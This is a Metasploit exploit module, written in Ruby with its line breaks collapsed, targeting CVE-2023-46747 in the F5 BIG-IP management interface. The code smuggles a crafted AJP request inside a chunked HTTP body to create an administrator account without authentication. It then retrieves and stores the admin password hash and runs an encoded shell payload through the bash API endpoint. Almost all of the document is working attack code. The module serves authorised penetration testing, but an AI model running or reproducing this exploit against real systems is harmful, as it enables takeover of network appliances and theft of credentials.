F5 BIG-IP TMUI AJP Smuggling Remote Command Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'rex/proto/apache_j_p'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Retry  ApacheJP = Rex::Proto::ApacheJP  def initialize(info = {})    super(      update_info(        info,        'Name' => 'F5 BIG-IP TMUI AJP Smuggling RCE',        'Description' => %q{          This module exploits a flaw in F5's BIG-IP Traffic Management User Interface (TMUI) that enables an external,          unauthenticated attacker to create an administrative user. Once the user is created, the module uses the new          account to execute a command payload. Both the exploit and check methods automatically delete any temporary          accounts that are created.        },        'Author' => [          'Michael Weber', # vulnerability analysis          'Thomas Hendrickson', # vulnerability analysis          'Sandeep Singh', # nuclei template          'Spencer McIntyre' # metasploit module        ],        'References' => [          ['CVE', '2023-46747'],          ['URL', 'https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/'],          ['URL', 'https://www.praetorian.com/blog/advisory-f5-big-ip-rce/'],          ['URL', 'https://my.f5.com/manage/s/article/K000137353'],          ['URL', 'https://github.com/projectdiscovery/nuclei-templates/pull/8496'],          ['URL', 'https://attackerkb.com/topics/t52A9pctHn/cve-2023-46747/rapid7-analysis']        ],        'DisclosureDate' => '2023-10-26', # Vendor advisory        'License' => MSF_LICENSE,        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD],        'Privileged' => true,        'Targets' => [          [            'Command',            {              'Platform' => ['unix', 'linux'],              'Arch' => ARCH_CMD            }          ],        ],        'DefaultOptions' => {          'SSL' => true,          'RPORT' => 443,          'FETCH_WRITABLE_DIR' => '/tmp'        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [],          'SideEffects' => [            IOC_IN_LOGS, # user creation events are logged            CONFIG_CHANGES # a temporary user is created then deleted          ]        }      )    )    register_options([      OptString.new('TARGETURI', [true, 'Base path', '/'])    ])  end  def check    res = create_user(role: 'Guest')    return CheckCode::Unknown('No response received from target.') unless res    return CheckCode::Safe('Failed to create the user.') unless res.code == 200    changed = update_user_password    return CheckCode::Safe('Failed to set the new user\'s password.') unless changed    res = bigip_api_tm_get_user(username)    return CheckCode::Safe('Failed to validate the new user account.') unless res.get_json_document['kind'] == 'tm:auth:user:userstate'    CheckCode::Vulnerable('Successfully tested unauthenticated user creation.')  end  def exploit    res = create_user(role: 'Administrator')    fail_with(Failure::UnexpectedReply, 'Failed to create the user.') unless res&.code == 200    changed = update_user_password    fail_with(Failure::UnexpectedReply, 'Failed to set the new user\'s password.') unless changed    print_good("Admin user was created successfully. Credentials: #{username} - #{password}")    res = bigip_api_tm_get_user('admin')    if res&.code == 200 && (hash = res.get_json_document['encryptedPassword']).present?      print_good("Retrieved the admin hash: #{hash}")      report_hash('admin', hash)    end    logged_in = retry_until_truthy(timeout: 30) do      res = bigip_api_shared_login      res&.code == 200    end    fail_with(Failure::UnexpectedReply, 'Failed to login.') unless logged_in    token = res.get_json_document.dig('token', 'token')    fail_with(Failure::UnexpectedReply, 'Failed to obtain a login token.') if token.blank?    print_status("Obtained login token: #{token}")    bash_cmd = "eval $(echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d)"    # this may or may not timeout    send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'mgmt/tm/util/bash'),      'headers' => {        'Content-Type' => 'application/json',        'X-F5-Auth-Token' => token      },      'data' => { 'command' => 'run', 'utilCmdArgs' => "-c '#{bash_cmd}'" }.to_json    )  end  def report_hash(user, hash)    jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)    service_data = {      address: rhost,      port: rport,      service_name: 'F5 BIG-IP TMUI',      protocol: 'tcp',      workspace_id: myworkspace_id    }    credential_data = {      module_fullname: fullname,      origin_type: :service,      private_data: hash,      private_type: :nonreplayable_hash,      jtr_format: jtr_format,      username: user    }.merge(service_data)    credential_core = create_credential(credential_data)    login_data = {      core: credential_core,      status: Metasploit::Model::Login::Status::UNTRIED    }.merge(service_data)    create_credential_login(login_data)  end  def cleanup    super    print_status('Deleting the created user...')    delete_user  end  def username    @username ||= rand_text_alpha(6..8)  end  def password    @password ||= rand_text_alphanumeric(16..20)  end  def create_user(role:)    # for roles and descriptions, see: https://techdocs.f5.com/kb/en-us/products/big-ip_ltm/manuals/product/bigip-user-account-administration-11-6-0/3.html    send_request_smuggled_ajp({      'handler' => '/tmui/system/user/create',      'form_page' => '/tmui/system/user/create.jsp',      'systemuser-hidden' => "[[\"#{role}\",\"[All]\"]]",      'systemuser-hidden_before' => '',      'name' => username,      'name_before' => '',      'passwd' => password,      'passwd_before' => '',      'finished' => 'x',      'finished_before' => ''    })  end  def delete_user    send_request_smuggled_ajp({      'handler' => '/tmui/system/user/list',      'form_page' => '/tmui/system/user/list.jsp',      'checkbox0' => username,      'checkbox0_before' => 'checked',      'delete_confirm' => 'Delete',      'delete_confirm_before' => 'Delete',      'row_count' => '1',      'row_count_before' => '1'    })  end  def update_user_password    new_password = Rex::Text.rand_text_alphanumeric(password.length)    changed = retry_until_truthy(timeout: 30) do      res = bigip_api_shared_set_password(username, password, new_password)      res&.code == 200    end    @password = new_password if changed    changed  end  def send_request_smuggled_ajp(query)    post_data = "204\r\n" # do not change    timenow = rand_text_numeric(1)    tmui_dubbuf = rand_text_alpha_upper(11)    query = query.merge({      '_bufvalue' => Base64.strict_encode64(OpenSSL::Digest::SHA1.new(tmui_dubbuf + timenow).digest),      '_bufvalue_before' => '',      '_timenow' => timenow,      '_timenow_before' => ''    })    query_string = URI.encode_www_form(query).ljust(370, '&')    # see: https://tomcat.apache.org/tomcat-3.3-doc/ApacheJP.html#prefix-codes    ajp_forward_request = ApacheJP::ApacheJPForwardRequest.new(      http_method: ApacheJP::ApacheJPForwardRequest::HTTP_METHOD_POST,      req_uri: '/tmui/Control/form',      remote_addr: '127.0.0.1',      remote_host: 'localhost',      server_name: 'localhost',      headers: [        { header_name: 'Tmui-Dubbuf', header_value: tmui_dubbuf },        { header_name: 'REMOTEROLE', header_value: '0' },        { header_name: 'host', header_value: 'localhost' }      ],      attributes: [        { code: ApacheJP::ApacheJPRequestAttribute::CODE_REMOTE_USER, attribute_value: 'admin' },        { code: ApacheJP::ApacheJPRequestAttribute::CODE_QUERY_STRING, attribute_value: query_string },        { code: ApacheJP::ApacheJPRequestAttribute::CODE_TERMINATOR }      ]    )    ajp_data = ajp_forward_request.to_binary_s[2...]    unless ajp_data.length == 0x204 # 516 bytes      # this is a developer error      raise "AJP data must be 0x204 bytes, is 0x#{ajp_data.length.to_s(16)} bytes."    end    post_data << ajp_data    post_data << "\r\n0"    send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'tmui/login.jsp'),      'headers' => { 'Transfer-Encoding' => 'chunked, chunked' },      'data' => post_data    )  end  def bigip_api_shared_set_password(user, old_password, new_password)    send_request_cgi(      'method' => 'PATCH',      'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user),      'headers' => {        'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}",        'Content-Type' => 'application/json'      },      'data' => { 'oldPassword' => old_password, 'password' => new_password }.to_json    )  end  def bigip_api_shared_login    send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authn/login'),      'headers' => { 'Content-Type' => 'application/json' },      'data' => { 'username' => username, 'password' => password }.to_json    )  end  def bigip_api_tm_get_user(user)    send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'mgmt/tm/auth/user', user),      'headers' => {        'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}",        'Content-Type' => 'application/json'      }    )  endend